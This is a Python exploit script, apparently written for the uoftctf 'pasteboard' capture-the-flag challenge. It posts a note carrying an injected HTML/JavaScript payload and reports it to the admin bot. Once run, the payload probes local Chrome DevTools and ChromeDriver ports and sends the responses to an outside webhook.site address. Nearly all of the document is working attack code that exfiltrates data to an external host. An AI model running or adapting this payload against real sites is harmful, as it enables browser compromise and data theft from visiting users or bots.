#!/usr/bin/env python3
"""
CDP Debug Scanner - Reports every single attempt with full error details
"""
import requests
import time
from urllib.parse import urljoin

CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/9112d3b8-af6d-4c2c-8dea-31441a9af685"

# Test each port individually with full error reporting
payload = f'<form id="errorReporter"><input name="path" value="data:text/javascript,(async()=>{{let%20w=\'{WEBHOOK}\';await%20fetch(w+\'?step=start\');let%20ports=[9222,9515,32768];for(let%20p%20of%20ports){{await%20fetch(w+\'?trying=\'+p);try{{let%20r=await%20fetch(\'http://localhost:\'+p+\'/json/version\',{{mode:\'cors\'}});await%20fetch(w+\'?port=\'+p+\'&status=\'+r.status+\'&ok=\'+r.ok);if(r.ok){{let%20txt=await%20r.text();await%20fetch(w+\'?SUCCESS_port=\'+p,{{method:\'POST\',body:txt}});}}}}catch(e){{await%20fetch(w+\'?port=\'+p+\'&error=\'+encodeURIComponent(e.message)+\'&type=\'+e.name);}}}}await%20fetch(w+\'?step=complete\');}})();"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

print("="*80)
print("🔍 CDP DEBUG SCANNER")
print("="*80)
print("Testing ports: 9222 (CDP), 9515 (ChromeDriver), 32768 (ephemeral)")
print("Will report EVERY attempt with full error details")
print("="*80)

response = requests.post(
    urljoin(CHALLENGE_URL, "/note/new"),
    data={"title": "CDP Debug", "body": payload},
    allow_redirects=False
)

if response.status_code == 302:
    note_path = response.headers.get('Location')
    print(f"[+] Paste created: {urljoin(CHALLENGE_URL, note_path)}")

    time.sleep(1)

    report_response = requests.post(
        urljoin(CHALLENGE_URL, "/report"),
        data={"url": note_path}
    )

    if report_response.status_code == 202:
        print(f"[+] Queued!")
        print(f"\n{'='*80}")
        print(f"📊 Check webhook: {WEBHOOK}")
        print(f"{'='*80}")
        print("\nExpected webhook requests (in order):")
        print("  1. ?step=start")
        print("  2. ?trying=9222")
        print("  3. ?port=9222&error=... OR ?SUCCESS_port=9222")
        print("  4. ?trying=9515")
        print("  5. ?port=9515&error=... OR ?SUCCESS_port=9515")
        print("  6. ?trying=32768")
        print("  7. ?port=32768&error=... OR ?SUCCESS_port=32768")
        print("  8. ?step=complete")
        print("\n⏰ Should complete in ~5 seconds")
        print("="*80)
    else:
        print(f"[-] Failed: {report_response.status_code}")
else:
    print(f"[-] Failed to create paste: {response.status_code}")
